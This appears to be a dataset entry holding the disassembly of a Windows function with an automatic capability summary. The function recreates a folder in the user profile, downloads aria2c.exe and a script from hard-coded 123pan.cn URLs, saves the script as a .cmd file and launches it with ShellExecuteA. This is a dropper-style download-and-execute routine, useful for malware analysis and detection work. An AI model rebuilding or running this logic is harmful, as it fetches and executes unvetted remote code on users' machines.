Function at 0x4018e4
Capabilities:
Check if file exists
Create directory
Create process on windows
Delete directory
Get common file path
Get file attributes

Disassembly:
push rbp
sub rsp, 0x470
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x28
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
test eax, eax
setne al
test al, al
je 0x401959
lea rdx, str.Failed_to_get_user_profile_path
mov rcx, qword [0x004e2080]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401b68
lea rdx, [rbp + 0x2e0]
lea rax, [rbp + 0x1d0]
mov r9, rdx
lea r8, str._slgx
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.sprintf_s]
call rax
lea rax, [rbp + 0x1d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp + 0x3ec], eax
cmp dword [rbp + 0x3ec], 0xffffffff
je 0x401a08
mov eax, dword [rbp + 0x3ec]
and eax, 0x10
test eax, eax
je 0x401a08
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sym.DeleteAllFilesInFolder_char_const_
lea rax, [rbp + 0x1d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
call rax
test eax, eax
sete al
test al, al
je 0x401a08
lea rdx, str.Failed_to_delete_existing_folder
mov rcx, qword [0x004e2080]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401b68
lea rax, [rbp + 0x1d0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
test eax, eax
sete al
test al, al
je 0x401a55
lea rdx, str.Failed_to_create_folder
mov rcx, qword [0x004e2080]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401b68
lea rdx, [rbp + 0x1d0]
lea rax, [rbp + 0xc0]
mov r9, rdx
lea r8, str._s_aria2c.exe
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.sprintf_s]
call rax
lea rax, [rbp + 0xc0]
mov rdx, rax
lea rcx, str.https:__vip.123pan.cn_1814328088_gtx_aria2c.exe
call sym.DownloadFile_char_const__char_const_
xor eax, 1
test al, al
je 0x401ac7
lea rdx, str.Failed_to_download_aria2c.exe
mov rcx, qword [0x004e2080]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401b68
lea rdx, [rbp + 0x1d0]
lea rax, [rbp - 0x50]
mov r9, rdx
lea r8, str._s1.cmd
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.sprintf_s]
call rax
lea rax, [rbp - 0x50]
mov rdx, rax
lea rcx, str.https:__vip.123pan.cn_1814328088_gtx_551.52_ykd
call sym.DownloadFile_char_const__char_const_
xor eax, 1
test al, al
je 0x401b30
lea rdx, str.Failed_to_download_1.cmd
mov rcx, qword [0x004e2080]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401b68
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov eax, 0
add rsp, 0x470
pop rbp
ret